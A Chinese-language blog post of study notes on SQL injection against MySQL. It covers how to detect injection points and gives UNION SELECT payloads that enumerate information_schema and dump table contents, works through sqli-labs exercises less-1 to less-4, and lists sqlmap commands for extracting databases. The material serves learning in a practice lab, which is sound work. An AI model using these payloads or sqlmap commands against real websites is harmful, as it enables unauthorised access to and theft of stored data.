SQL注入

目录

什么是sql注入?

怎么判断有没有sql注入

注入流程

Mysql的注释方式

常用函数,表名

常用参数

实例

sqli-lab

less-1

less-2

less-3

less-4

less-5

问题


什么是sql注入?

web应用程序对用户输入的数据的合法性没有判断,前端传入后端的参数是可控的,并且参数带入数据库查询,攻击者可以构造不同 sql语句来实现对数据库的任意操作。

两个条件:

1.参数用户可控:前端传给后端的参数内容是用户可以控制的

2.参数代入数据库查询:传入的参数拼接到sql语句中

怎么判断有没有sql注入

SELECT * FROM users WHERE id=1asdsadsad(随便输入) LIMIT 0,1

随便输入后对网页有影响说明带入数据库进行查询有注入点,没有影响说明没有带入数据库查询,出现404错误说明对输入检测   没有漏洞

注入流程

1.判断有没有SQL注入

2.判断数值型还是字符型

3.利用order by判断字段数

4.判断回显点 union select

5.爆破(要注意魔术引号问题)

Mysql的注释方式

 在构造sql语句url时,使用--+是因为在url中+号表示空格,不使用空格也可以--%20(也是空格的意思)

用#注释时则需要使用%23

常用函数,表名

常用参数

information_schema.tables:记录所有表名信息的表

information_schema.columns:记录所有列名信息的表

table_name:表名

column_name:列名

table_schema:数据库名

user() 查看当前MySQL登录的用户名

database() 查看当前使用MySQL数据库名

version() 查看当前MySQL版本

实例

先知道数据库名,猜出表名,在得出字段名,在出结果

利用order判断字段数

order by x(数字) 正常与错误的正常值 正确网页正常显示,错误网页报错

?id=1' order by 3--+

利用 union select 联合查询,将id值设置成不成立,即可探测到可利用的字段数

?id=-1 union select 1,2,3 --+

利用函数database(),user(),version()可以得到所探测数据库的数据库名、用户名和版本号

?id=-1 union select 1,database(),version() --+

利用 union select 联合查询,获取表名    

?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='已知库名'--+

利用 union select 联合查询,获取字段名

?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='已知表名'--+

利用 union select 联合查询,获取字段值

?id=-1' union select 1,2,group_concat(已知字段名,':'已知字段名) from 已知表名--+

sqli-lab

less-1

首先,判断类型

构造?id=1'  发现没有报错,则不是数值型

判断字段数

?id=1 order by 3(只有小于等于字段数才不会报错,这里是按照表的第三列进行排序,大于字段数时表里没该列所以报错)

然后判断回显点(显示的是哪个字段的信息),利用union函数

?id=-1' union select 1,2,3 (合并两个或多个结果集,必须要相同数量的列,一般只显示一条数据,所以前面需要为错误值才会显示union函数的结果)

然后将回显点改成user(),database(),version()得出当前用户名,数据库,数据库版本

然后

利用 union select 联合查询,获取表名    

?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='已知库名'--+

利用 union select 联合查询,获取字段名

?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='已知表名'--+

利用 union select 联合查询,获取字段值

?id=-1' union select 1,2,group_concat(已知字段名,':'已知字段名) from 已知表名--+

less-2

与less相似,去点 ’ (单引号)即可

less-3

 输入?id=1' 报错如下

 

less-4

会发现不管输入什么都能正确输出

 但是当输入id=1"时出现报错

 可以猜测id是被("id")包围

这里是对传进来的id进行了加功,”.“是连接符,也就是变成"id",再放到括号里面变成("id") 

less-5

问题

1.(concat,group——concat的区别)

2.魔术引号和php的问题

3.sql语句的执行,less-3,4

sqlmap简单使用

参考:

sqlmap 使用教程 - 简书

window sqlmap.py

kali sqlmap

1.判断是否有注入

sqlmap -u url?id=1

2.获取所有数据库名

sqlmap -u url?id=1 --dbs

3.获取当前数据库名

sqlmap -u url?id=1 --current-db

4.获取当前数据库所有表

sqlmap -u url?id=1 -D 数据库名 --tables

5.获取某个表所有字段

sqlmap -u url?id=11 -D 数据库名 -T 表名 --columns

6.获取字段值

sqlmap -u url?id=11 -D 数据库名 -T 表名 -C 列名 字段名 --dump

然后可以通过目录扫描,获取相应信息

如果遇到需要登录的情况则需要添加cookie

sqlmap -u "url?id=1" --cookie="可以抓包获取" --batch

 这里测试时如果url不加双引号则扫描不了

 加了--batch sqlmap不会询问你输入 全部默认确定

  • 2
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值